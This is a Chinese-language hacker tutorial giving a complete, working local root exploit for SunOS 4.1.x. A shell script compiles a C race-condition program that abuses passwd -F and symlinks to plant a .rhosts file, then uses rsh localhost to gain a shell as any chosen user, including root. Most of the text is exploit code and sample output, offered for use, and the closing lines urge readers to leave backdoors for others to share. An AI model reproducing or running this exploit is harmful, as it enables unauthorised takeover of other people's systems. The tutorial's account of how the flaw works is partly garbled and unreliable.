取得最高權限來控制整個系統 Love-gone 著
以自己的經驗來說,我覺得 UNIX 中最難取得最高權限(root)的系統版本是 SUNOS 的
除了它因為是企業版的經過相當嚴密的安全性考量. 最重要的是大多數使用 SUNOS
的 root 都對系統的設定管理的很好..也不知道為什麼. 因為使用 SUNOS 的主機都
是政府機構. 學校..等等的公家機關..所以都還重視系統的安全..但是還是沒有絕對
安全的系統!

對於 passwd 的指令應該大家都相當清楚了, 就是用來更改密碼用的. 而在執行
passwd 這個指令的時候 ./etc/passwd 的檔案擁有者就從 root 變成了 user. 於是
user 就擁有 root 的權限, 可以對 passwd 做更改的動作! 再利用 .rhosts 的功能
, 相信大家應該也相當清楚 .rhosts 和 host.equiv 的功能了..呵呵.
在 SUNOS4.1.X 版中的 passwd 和 .rhosts 的功能相加起來就可以有一個相當大的
系統漏洞啦..可以讓你變成系統中的任何一個帳號..當然也可以變成 root

以下是方法..

Lovegone>% cat >shitfile

#!/bin/sh
# 格式: passwdscript 欲變成的使用者帳號
#
PATH=/usr/ucb:/usr/bin:/bin      export PATH
IFS=" "
export IFS
PROG="`basename $0`"
if [ $# -ne 1 ]; then
        echo "Syntax: $PROG user
target-file rsh-user"
        exit 1
fi
TARGET_USER="$1"
if [ "x`uname -s`" != "xSunOS" ]; then
        echo "Sorry, this only works
on SunOS"
        exit 1
fi
cat > passwdrace.c << 'EOF'
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <signal.h>
#include <pwd.h>
main(argc, argv)
int argc;
char *argv[];
{
        FILE    *passwd_in,
*passwd_out;
        int    
race_child_pid = -1;
        struct  stat st;
        struct  passwd *pw;
        char    pwd_link[256],
pwd_dir[256], pwd_file[256], ptmp[256],
               
buf[1024], cmd[256], nowhere[256], nowhere2[256],
               
dir[256];
        if (argc != 2) {
               
fprintf(stderr, "Usage: %s target-user\n",
                       
argv[0]);
               
exit(1);
        }
        if ((pw = getpwnam(argv[1]))
== NULL) {
               
fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
                       
argv[0], argv[1]);
               
exit(1);
        }
        strcpy(dir, pw->pw_dir);
        sprintf(pwd_link, "/tmp/passwd-link.%d",
getpid());
        sprintf(pwd_dir, "/tmp/passwd-dir.%d",
getpid());
        sprintf(nowhere, "/tmp/passwd-nowhere.%d",
getpid());
        sprintf(nowhere2, "/tmp/passwd-nowhere2.%d",
getpid());
        sprintf(ptmp, "%s/ptmp",
dir);
        symlink(pwd_dir, pwd_link);
        mkdir(pwd_dir, 0700);
        sprintf(pwd_file, "%s/.rhosts",
pwd_dir);
        if ((passwd_out = fopen(pwd_file,
"w+")) == NULL) {
               
fprintf(stderr, "Cant open %s!\n", pwd_file);
               
exit(1);
        }
        if ((passwd_in = fopen("/etc/passwd",
"r")) == NULL) {
               
fprintf(stderr, "Cant open /etc/passwd\n");
               
exit(1);
        }
        if ((pw = getpwuid(getuid()))
== NULL) {
               
fprintf(stderr, "Who are you?\n");
               
exit(1);
        }
        fprintf(passwd_out, "localhost
%s ::::::\n", pw->pw_name);
        for (;;) {
               
fseek(passwd_in, 0L, SEEK_SET);
               
while(fgets(buf, sizeof(buf), passwd_in))
                       
fputs(buf, passwd_out);
               
if (ftell(passwd_out) > 32768)
                       
break;
        }
        fclose(passwd_in);
        fflush(passwd_out);
        if ((race_child_pid = fork())
< 0) {
               
perror("fork");
               
exit(1);
        }
        if (race_child_pid) {
              
sprintf(pwd_file, "%s/.rhosts", pwd_link);
               
puts("Wait until told you see \"Enter your password now!\"");
               
sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
               
system(cmd);
               
kill(race_child_pid, 9);
               
exit(0);
        } else {
               
int fd = fileno(passwd_out);
               
time_t last_access;
               
if (fstat(fd, &st)) {
                       
perror("fstat");
                       
exit(1);
               
}
               
last_access = st.st_atime;
               
sleep(5);
               
write(0, "Enter your password now!\n",
                     
sizeof("Enter your password now!\n"));
               
unlink(pwd_link);
               
symlink(dir, pwd_link);
               
symlink(pwd_dir, nowhere);
               
symlink(dir, nowhere2);
               
while ((open(ptmp, O_RDONLY)==-1));
               
rename(nowhere, pwd_link);
               
while (last_access == st.st_atime)
                       
fstat(fd, &st);
               
rename(nowhere2, pwd_link);
        }
}
EOF
cc -O -o passwdrace passwdrace.c
if [ ! -x "passwdrace" ]; then
        echo "$PROG: couldnt compile
passwdrace.c - check it out"
        exit 1
fi
./passwdrace $TARGET_USER
rsh localhost -l $TARGET_USER sh -i
exit 0
^c (這是存檔喔, 別把 ^c 當成是 shitfile 應該沒有人會那麼笨吧!!)

Lovegone>% chmod 700 shitfile
 
  (讓 shitfile 能執行..到此已經完成 90% 了)

Lovegone>% shitfile root
 
  (執行 shitfile 的語法是在 shitfile 後 keyin 你要變成的帳號)
 
 Wait until you see "Enter your password now!"
 Changing password for Love-gone on SunOs 4.1.X
 Old password:  (打你原來那個帳號的密碼)
 New password:  (打你女友的英文名字...男友不能..嘻嘻.)
 Retype new password:  (你女友的英文名字)

root># pwd
/

(你看發生了什麼事....千萬不要去破壞人家的系統喔....)
(為了別人著想,請留下後門讓大家共同分享)
(希望各位駭鄉親們不要用 shitfile 來做壞事喔..)

小恐龍工作坊 提供